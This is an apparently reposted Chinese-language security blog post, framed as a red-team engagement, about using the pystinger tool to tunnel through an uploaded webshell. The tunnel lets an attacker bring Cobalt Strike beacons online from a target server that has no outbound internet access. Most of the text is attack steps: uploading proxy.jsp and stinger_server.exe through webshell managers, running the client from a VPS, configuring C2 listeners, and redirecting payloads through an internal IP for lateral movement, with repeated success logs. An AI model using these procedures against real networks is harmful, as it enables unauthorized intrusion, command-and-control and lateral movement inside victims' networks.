内网渗透代理-pystinger实现不出网情况下，上线CS的方式
2023-4-25 12:18:50 Author: 瓜神学习网络安全(查看原文) 阅读量:25 收藏

声明：本文分享的安全工具和项目均来源于网络，仅供安全研究与学习之用，

如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关。

   
背景

  • 某hw过程中遇到如下情况：

    • 获取到webshell，目标服务器不出网

    目标机：内网地址，端口映射到公网ip

    想到使用pystinger进行代理转发

pystinger部署

pystinger官网地址：

https://github.com/FunnyWolf/pystinger
安装依赖包：
python3 -m pip install  -r  requirement.txt
目标机操作：
1、proxy.jsp上传到目标服务器确保http://example.com:8080/proxy.jsp可以访问，页面返回UTF-82、stinger_server.exe上传到目标服务器，AntSword运行：cmdstart D:/XXX/stinger_server.exe启动pystinger-server不要D:/xxx/singer_server.exe直接运行，会造成TCP断开

互联网微PS操作：

3、python3 ./stinger_client.py -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

CS监听器配置：

HTTP Hosts:127.0.0.1HTTP Hosts(stager):目标及内网ipHTTP Port(C2):60020

生成后门在目标机运行

附：官方教程

简体中文 | English

毒刺(pystinger)通过webshell实现内网SOCK4代理,端口映射.

可直接用于metasploit-framework,viper,cobalt strike上线.

主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本.

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

[email protected]:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理

  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

[email protected]:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1

  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe 192.168.3.11启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

[email protected]:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)

  • 生成payload,上传到主机运行后即可上线

  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头

--header "Authorization: XXXXXX,Cookie: XXXXX"

  • 如果webshell需要通过代理访问,可通过--proxy设置代理

--proxy "socks5:127.0.0.1:1081"

https://github.com/nccgroup/ABPTTS

https://github.com/sensepost/reGeorg

https://github.com/SECFORCE/Tunna

stinger_server\stinger_client

  • windows

  • linux

proxy.jsp(x)/php/aspx

  • php7.2

  • tomcat7.0

  • iis8.0


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwODE4ODUzMg==&mid=2247486222&idx=1&sn=37cf4ed6216b96af40be307aa48eca40&chksm=c0cc8515f7bb0c038c0103618a88eb34e77735ef6ce19f930c979570a5959556e2ddca0306c9#rd
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